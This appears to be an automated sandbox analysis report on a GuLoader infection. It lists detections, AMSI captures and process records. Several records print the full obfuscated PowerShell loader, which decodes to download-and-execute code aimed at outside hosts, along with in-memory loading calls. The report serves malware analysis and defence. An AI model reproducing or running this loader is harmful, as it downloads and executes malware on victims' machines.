Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.2665678628.0000000008710000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cmdkey.pdb source: msiexec.exe, 0000000A.00000003.3126312023.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000003.3126442250.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, GJFjqeGumqI.exe, 0000000B.00000002.3467221616.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';", "0")

Yara detected GuLoader

Source: Yara match	File source: 0000000A.00000002.3167965625.00000000054F8000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2667645676.000000000A5A8000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2667370891.0000000008940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2374208348.0000019E36F60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2640784157.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Ddsspiral)$glOBal:TYpeSITUAtIoner = [SYsTEm.TExt.EnCoDINg]::AsCiI.gEtSTrinG($MUSkElmAnd)$glOBAl:OutBId=$tYpESItuatIonER.sUbstRinG($eRHOLDncoNcEIVAblY,$RensekrEMer)<#Etiketteret Usual
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Fuldblodsopdrtterne $currachs $Filtypers), (Parachuter @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Accumulable = [AppDomain]::CurrentDomain.GetAssembli
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Flappy)), $Outfeed).DefineDynamicModule($Genskabende, $false).DefineType($liljernes, $canyonens, [System.MulticastDelegate])$Apositia.
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Ddsspiral)$glOBal:TYpeSITUAtIoner = [SYsTEm.TExt.EnCoDINg]::AsCiI.gEtSTrinG($MUSkElmAnd)$glOBAl:OutBId=$tYpESItuatIonER.sUbstRinG($eRHOLDncoNcEIVAblY,$RensekrEMer)<#Etiketteret Usual

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dO	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848A70974 push E95ABDD0h; ret	4_2_00007FF848A709C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848B466A3 push es; retf	4_2_00007FF848B466D2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848B463BD push es; retf	4_2_00007FF848B463EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848B4637F push es; retf	4_2_00007FF848B46380
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848B46473 push es; retf	4_2_00007FF848B464A2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0490370F pushad ; iretd	6_2_04903749
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 10_2_220F09AD push ecx; mov dword ptr [esp], ecx	10_2_220F09B6
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0363AB27 push ss; ret	11_2_0363AB28
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_03636A68 push 0000002Dh; ret	11_2_03636A7A
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_03631A9D push edx; retf	11_2_03631AA6
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_03621006 push ecx; ret	11_2_03621007
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_03624706 push FFFFFF9Ch; ret	11_2_03624708
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_036296BC push ss; ret	11_2_036296DD
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_0362345C push ebp; iretd	11_2_0362351F
Source: C:\Program Files (x86)\zSizRDxEpxNzikSnvVoDapvfwUNDMCcTNpVzlWDDpfXwPOFFTmcolawpbwTKzXestfBidSHLZYc\GJFjqeGumqI.exe	Code function: 11_2_03630CC3 push eax; ret	11_2_03630CDE

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
